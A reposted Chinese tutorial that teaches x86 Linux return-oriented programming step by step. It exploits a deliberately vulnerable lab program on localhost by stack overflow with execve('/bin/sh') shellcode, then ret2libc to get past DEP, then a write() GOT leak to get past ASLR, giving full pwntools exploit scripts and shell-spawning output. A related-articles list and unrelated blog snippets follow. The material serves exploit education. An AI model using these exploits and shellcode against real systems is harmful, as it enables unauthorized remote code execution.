一步一步学ROP之linux_x86篇(蒸米spark)

转自蒸米spark的一步一步学ROP

原文链接:https://wooyun.js.org/drops/一步一步学ROP之linux_x86篇.html

一步一步学ROP之linux_x64篇: https://www.cnblogs.com/VxerLee/p/15429813.html

0x00 序

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。虽然现在大家都在用64位的操作系统,但是想要扎实的学好ROP还是得从基础的x86系统开始,但看官请不要着急,在随后的教程中我们还会带来linux_x64以及android (arm)方面的ROP利用方法,欢迎大家继续学习。

0x01 Control Flow Hijack 程序流劫持

比较常见的程序流劫持就是栈溢出,格式化字符串攻击和堆溢出了。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御者也提出了各种防御方法,最常见的方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等。但是如果上来就部署全部的防御,初学者可能会觉得无从下手,所以我们先从最简单的没有任何保护的程序开始,随后再一步步增加各种防御措施,接着再学习绕过的方法,循序渐进。

首先来看这个有明显缓冲区溢出的程序:

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. void vulnerable_function() {
  5. char buf[128];
  6. read(STDIN_FILENO, buf, 256);
  7. }
  8. int main(int argc, char** argv) {
  9. vulnerable_function();
  10. write(STDOUT_FILENO, "Hello, World\n", 13);
  11. }

这里我们用

  1. gcc -fno-stack-protector -z execstack -o level1 level1.c

这个命令编译程序。-fno-stack-protector-z execstack这两个参数会分别关掉DEP和Stack Protector。同时我们在shell中执行:

  1. sudo -s
  2. echo 0 > /proc/sys/kernel/randomize_va_space
  3. exit

这几个指令。执行完后我们就关掉整个linux系统的ASLR保护。

接下来我们开始对目标程序进行分析。首先我们先来确定溢出点的位置,这里我推荐使用pattern.py这个脚本来进行计算。我们使用如下命令:

  1. python pattern.py create 150

来生成一串测试用的150个字节的字符串:

  1. Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

随后我们使用gdb ./level1调试程序。

  1. (gdb) run
  2. Starting program: /home/mzheng/CTF/groupstudy/test/level1
  3. Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
  4. Program received signal SIGSEGV, Segmentation fault.
  5. 0x37654136 in ?? ()

我们可以得到内存出错的地址为0x37654136。随后我们使用命令:

  1. python pattern.py offset 0x37654136
  2. hex pattern decoded as: 6Ae7
  3. 140

就可以非常容易的计算出PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了。

接下来我们需要一段shellcode,可以用msf生成,或者自己反编译一下。

  1. # execve ("/bin/sh")
  2. # xor ecx, ecx
  3. # mul ecx
  4. # push ecx
  5. # push 0x68732f2f ;; hs//
  6. # push 0x6e69622f ;; nib/
  7. # mov ebx, esp
  8. # mov al, 11
  9. # int 0x80
  10. shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
  11. shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
  12. shellcode += "\x0b\xcd\x80"

这里我们使用一段最简单的执行execve ("/bin/sh")命令的语句作为shellcode。

溢出点有了,shellcode有了,下一步就是控制PC跳转到shellcode的地址上:

  1. [shellcode][“AAAAAAAAAAAAAA”….][ret]
  2. ^------------------------------------------------|

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢?

最简单的方法就是开启core dump这个功能。

  1. ulimit -c unlimited
  2. sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

  1. $./level1
  2. ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  3. Segmentation fault (core dumped)
  4. $ gdb level1 /tmp/core.1433844471
  5. Core was generated by `./level1'.
  6. Program terminated with signal 11, Segmentation fault.
  7. #0 0x41414141 in ?? ()
  8. (gdb) x/10s $esp-144
  9. 0xbffff290: "ABCD", 'A' <repeats 153 times>, "\n\374\267`\204\004\b"
  10. 0xbffff335: ""

因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。通过gdb的命令 x/10s $esp-144,我们可以得到buf的地址为0xbffff290

OK,现在溢出点,shellcode和返回值地址都有了,可以开始写exp了。写exp的话,我强烈推荐pwntools这个工具,因为它可以非常方便的做到本地调试和远程攻击的转换。本地测试成功后只需要简单的修改一条语句就可以马上进行远程攻击。

  1. p = process('./level1') #本地测试
  2. p = remote('127.0.0.1',10001) #远程攻击

最终本地测试代码如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. p = process('./level1')
  4. ret = 0xbffff290
  5. shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
  6. shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
  7. shellcode += "\x0b\xcd\x80"
  8. # p32(ret) == struct.pack("<I",ret)
  9. #对ret进行编码,将地址转换成内存中的二进制存储形式
  10. payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
  11. p.send(payload) #发送payload
  12. p.interactive() #开启交互shell

执行exp:

  1. $ python exp1.py
  2. [+] Started program './level1'
  3. [*] Switching to interactive mode
  4. $ whoami
  5. mzheng

接下来我们把这个目标程序作为一个服务绑定到服务器的某个端口上,这里我们可以使用socat这个工具来完成,命令如下:

  1. socat TCP4-LISTEN:10001,fork EXEC:./level1

随后这个程序的IO就被重定向到10001这个端口上了,并且可以使用 nc 127.0.0.1 10001来访问我们的目标程序服务了。

因为现在目标程序是跑在socat的环境中,exp脚本除了要把p = process('./level1')换成p = remote('127.0.0.1',10001) 之外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址。然后我们就可以使用exp进行远程溢出啦!

  1. python exp1.py
  2. [+] Opening connection to 127.0.0.1 on port 10001: Done
  3. [*] Switching to interactive mode
  4. $ id
  5. uid=1000(mzheng) gid=1000(mzheng) groups=1000(mzheng),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)

0x02 Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护

现在我们把DEP打开,依然关闭stack protector和ASLR。编译方法如下:

  1. gcc -fno-stack-protector -o level2 level2.c

这时候我们如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,你会发现level1的stack是rwx的,但是level2的stack却是rw的。

  1. level1: bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
  2. level2: bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]

那么如何执行shellcode呢?我们知道level2调用了libc.so,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。

如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。那么接下来我们就来找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。

  1. $ gdb ./level2
  2. GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
  3. ….
  4. (gdb) break main
  5. Breakpoint 1 at 0x8048430
  6. (gdb) run
  7. Starting program: /home/mzheng/CTF/groupstudy/test/level2
  8. Breakpoint 1, 0x08048430 in main ()
  9. (gdb) print system
  10. $1 = {<text variable, no debug info>} 0xb7e5f460 <system>
  11. (gdb) print __libc_start_main
  12. $2 = {<text variable, no debug info>} 0xb7e393f0 <__libc_start_main>
  13. (gdb) find 0xb7e393f0, +2200000, "/bin/sh"
  14. 0xb7f81ff8
  15. warning: Unable to access target memory at 0xb7fc8500, halting search.
  16. 1 pattern found.
  17. (gdb) x/s 0xb7f81ff8
  18. 0xb7f81ff8: "/bin/sh"

我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xb7e5f460以及"/bin/sh"的地址0xb7f81ff8。下面我们开始写exp:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. p = process('./level2')
  4. #p = remote('127.0.0.1',10002)
  5. ret = 0xdeadbeef
  6. systemaddr=0xb7e5f460
  7. binshaddr=0xb7f81ff8
  8. payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
  9. p.send(payload)
  10. p.interactive()

要注意的是system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个0xdeadbeef作为返回地址。下面我们测试一下exp:

  1. $ python exp2.py
  2. [+] Started program './level2'
  3. [*] Switching to interactive mode
  4. $ whoami
  5. mzheng

OK。测试成功。

0x03 ROP– Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护

接下来我们打开ASLR保护。

  1. sudo -s
  2. echo 2 > /proc/sys/kernel/randomize_va_space

现在我们再回头测试一下level2的exp,发现已经不好用了。

  1. $python exp2.py
  2. [+] Started program './level2'
  3. [*] Switching to interactive mode
  4. [*] Program './level2' stopped with exit code -11
  5. [*] Got EOF while reading in interactive

如果你通过sudo cat /proc/[pid]/maps或者ldd查看,你会发现level2的libc.so地址每次都是变化的。

  1. cat /proc/[第1次执行的level2pid]/maps
  2. b759c000-b7740000 r-xp 00000000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
  3. b7740000-b7741000 ---p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
  4. b7741000-b7743000 r--p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
  5. b7743000-b7744000 rw-p 001a6000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
  6. cat /proc/[第2次执行的level2pid]/maps
  7. b7546000-b76ea000 r-xp 00000000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
  8. b76ea000-b76eb000 ---p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
  9. b76eb000-b76ed000 r--p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
  10. b76ed000-b76ee000 rw-p 001a6000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
  11. cat /proc/[第3次执行的level2pid]/maps
  12. b7560000-b7704000 r-xp 00000000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
  13. b7704000-b7705000 ---p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
  14. b7705000-b7707000 r--p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
  15. b7707000-b7708000 rw-p 001a6000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so

那么如何解决地址随机化的问题呢?思路是:我们需要先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。既然栈,libc,heap的地址都是随机的。我们怎么才能泄露出libc.so的地址呢?方法还是有的,因为程序本身在内存中的地址并不是随机的,如图所示:

Linux内存随机化分布图

所以我们只要把返回值设置到程序本身就可执行我们期望的指令了。首先我们利用objdump来查看可以利用的plt函数和函数对应的got表:

  1. $ objdump -d -j .plt level2
  2. Disassembly of section .plt:
  3. 08048310 <read@plt>:
  4. 8048310: ff 25 00 a0 04 08 jmp *0x804a000
  5. 8048316: 68 00 00 00 00 push $0x0
  6. 804831b: e9 e0 ff ff ff jmp 8048300 <_init+0x30>
  7. 08048320 <__gmon_start__@plt>:
  8. 8048320: ff 25 04 a0 04 08 jmp *0x804a004
  9. 8048326: 68 08 00 00 00 push $0x8
  10. 804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x30>
  11. 08048330 <__libc_start_main@plt>:
  12. 8048330: ff 25 08 a0 04 08 jmp *0x804a008
  13. 8048336: 68 10 00 00 00 push $0x10
  14. 804833b: e9 c0 ff ff ff jmp 8048300 <_init+0x30>
  15. 08048340 <write@plt>:
  16. 8048340: ff 25 0c a0 04 08 jmp *0x804a00c
  17. 8048346: 68 18 00 00 00 push $0x18
  18. 804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x30>
  19. $ objdump -R level2
  20. //got表
  21. DYNAMIC RELOCATION RECORDS
  22. OFFSET TYPE VALUE
  23. 08049ff0 R_386_GLOB_DAT __gmon_start__
  24. 0804a000 R_386_JUMP_SLOT read
  25. 0804a004 R_386_JUMP_SLOT __gmon_start__
  26. 0804a008 R_386_JUMP_SLOT __libc_start_main
  27. 0804a00c R_386_JUMP_SLOT write

我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)

因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。

使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:

  1. $ldd level2
  2. linux-gate.so.1 => (0xb7781000)
  3. libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c4000)
  4. /lib/ld-linux.so.2 (0xb7782000)
  5. $ cp /lib/i386-linux-gnu/libc.so.6 libc.so

最后exp如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. libc = ELF('libc.so')
  4. elf = ELF('level2')
  5. #p = process('./level2')
  6. p = remote('127.0.0.1', 10003)
  7. plt_write = elf.symbols['write']
  8. print 'plt_write= ' + hex(plt_write)
  9. got_write = elf.got['write']
  10. print 'got_write= ' + hex(got_write)
  11. vulfun_addr = 0x08048404
  12. print 'vulfun= ' + hex(vulfun_addr)
  13. payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
  14. print "\n###sending payload1 ...###"
  15. p.send(payload1)
  16. print "\n###receving write() addr...###"
  17. write_addr = u32(p.recv(4))
  18. print 'write_addr=' + hex(write_addr)
  19. print "\n###calculating system() addr and \"/bin/sh\" addr...###"
  20. system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
  21. print 'system_addr= ' + hex(system_addr)
  22. binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
  23. print 'binsh_addr= ' + hex(binsh_addr)
  24. payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
  25. print "\n###sending payload2 ...###"
  26. p.send(payload2)
  27. p.interactive()

接着我们使用socat把level2绑定到10003端口:

  1. socat TCP4-LISTEN:10003,fork EXEC:./level2

最后执行我们的exp:

  1. $python exp3.py
  2. [+] Opening connection to 127.0.0.1 on port 10003: Done
  3. plt_write= 0x8048340
  4. got_write= 0x804a00c
  5. vulfun= 0x8048404
  6. ###sending payload1 ...###
  7. ###receving write() addr...###
  8. write_addr=0xb76f64c0
  9. ###calculating system() addr and "/bin/sh" addr...###
  10. system_addr= 0xb7656460
  11. binsh_addr= 0xb7778ff8
  12. ###sending payload2 ...###
  13. [*] Switching to interactive mode
  14. $ whoami
  15. mzheng

0x04 小结

本章简单介绍了ROP攻击的基本原理,由于篇幅原因,我们会在随后的文章中会介绍更多的攻击技巧:如何利用工具寻找gadgets,如何在不知道对方libc.so版本的情况下计算offset;如何绕过Stack Protector等。欢迎大家到时继续学习。另外本文提到的所有源代码和工具都可以从我的github下载:https://github.com/zhengmin1989/ROP_STEP_BY_STEP

0x05 参考文献

  1. The geometry of innocent flesh on the bone: return-into-libc without function calls (on the x86)
  2. picoCTF 2013: https://github.com/picoCTF/2013-Problems
  3. Smashing The Stack For Fun And Profit: http://phrack.org/issues/49/14.html
  4. 程序员的自我修养
  5. ROP轻松谈

一步一步学ROP之linux_x86篇(蒸米spark)的更多相关文章

  1. 一步一步学ROP之linux_x64篇(蒸米spark)

    目录 一步一步学ROP之linux_x64篇(蒸米spark) 0x00 序 0x01 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击 0x02 ...

  2. 转:一步一步学ROP之linux_x86篇 - 蒸米

    原文地址:http://drops.wooyun.org/tips/6597 0×00 序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击 ...

  3. 一步一步学ROP之linux_x86篇

    一步一步学ROP之linux_x86篇 作者:蒸米@阿里聚安全 ​ 一.序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过 ...

  4. 一步一步学ROP之gadgets和2free篇(蒸米spark)

    目录 一步一步学ROP之gadgets和2free篇(蒸米spark) 0x00序 0x01 通用 gadgets part2 0x02 利用mmap执行任意shellcode 0x03 堆漏洞利用之 ...

  5. 一步一步学ROP之linux_x64篇

    一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防 ...

  6. (转载)一步一步学Linq to sql系列文章

    现在Linq to sql的资料还不是很多,本人水平有限,如果有错或者误导请指出,谢谢. 一步一步学Linq to sql(一):预备知识 一步一步学Linq to sql(二):DataContex ...

  7. 一步一步学ZedBoard & Zynq(四):基于AXI Lite 总线的从设备IP设计

    本帖最后由 xinxincaijq 于 2013-1-9 10:27 编辑 一步一步学ZedBoard & Zynq(四):基于AXI Lite 总线的从设备IP设计 转自博客:http:// ...

  8. 一步一步学android控件(之十五) —— DegitalClock & AnalogClock

    原本计划DigitalClock和AnalogClock单独各一篇来写,但是想想,两个控件的作用都一样,就和在一起写一篇了. DegitalClock和AnalogClock控件主要用于显示当前时间信 ...

  9. 一步一步学Remoting系列文章

    转自:http://www.cnblogs.com/lovecherry/archive/2005/05/24/161437.html (原创)一步一步学Remoting之一:从简单开始(原创)一步一 ...

随机推荐

  1. Java面向对象系列(10)- 什么是多态

    多态 即同一方法可以根据发送对象的不同而采取不同的行为方式 一个对象的实际类型是确定的,但可以指向对象的引用类型有很多 多态存在的条件 有继承关系 子类重写父类方法 父类引用指向子类对象 注意:多态是 ...

  2. js中针对dom的crud

    1.怎样添加.移除.移动.复制.创建和查找节点? 1)创建新节点 createDocumentFragment() //创建一个DOM片段 createElement() //创建一个具体的元素 cr ...

  3. PyCharm取消波浪线

    步骤:settings->Editor->Color Scheme->General->(右侧)Errors and Warnings->Weak Warning-> ...

  4. AVS 通信模块之AVSConnectionManager

    AVSConnectionManager 类为客户端无缝地管理与AVS的连接 功能简介 失败时连接重试 允许后续重新连接 ping管理 AVS服务器断开时周期重连服务器 允许客户端完全启用或禁用连接管 ...

  5. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

  6. CF1370F2-The Hidden Pair(Hard Version)【交互题,二分】

    正题 题目链接:https://www.luogu.com.cn/problem/CF1370F2 题目大意 \(T\)组数据,给出\(n\)个点的一棵树,有两个隐藏的关键点.你每次可以询问一个点集, ...

  7. oracle常见命令

    1.权限 (1)系统权限 系统权限是指对数据库系统的权限和对象结构控制的权限. 如grant create session to 用户名 -赋予用户登录的权限 (2)对象权限 访问其它用户对象的权利 ...

  8. Spring技术内幕笔记2--我懒不写了哈哈哈哈。

    目录 1.1 关于IOC容器设计的线路区别 1.1.1 BeanFactory 1.1.2 ApplicationContext 2.1 FileSystemXmlApplicationContext ...

  9. VUE自学日志01-MVC和MVVM

    一.需要了解的基础概念 Model(M)是指数据模型,泛指后端进行的各种业务逻辑处理和数据操控,主要围绕数据库系统展开.这里的难点主要在于需要和前端约定统一的接口规则. View(V)是视图层,也就是 ...

  10. webRTC中语音降噪模块ANS细节详解(一)

    ANS(adaptive noise suppression) 是webRTC中音频相关的核心模块之一,为众多公司所使用.从2015年开始,我在几个产品中使用了webRTC的3A(AEC/ANS/AG ...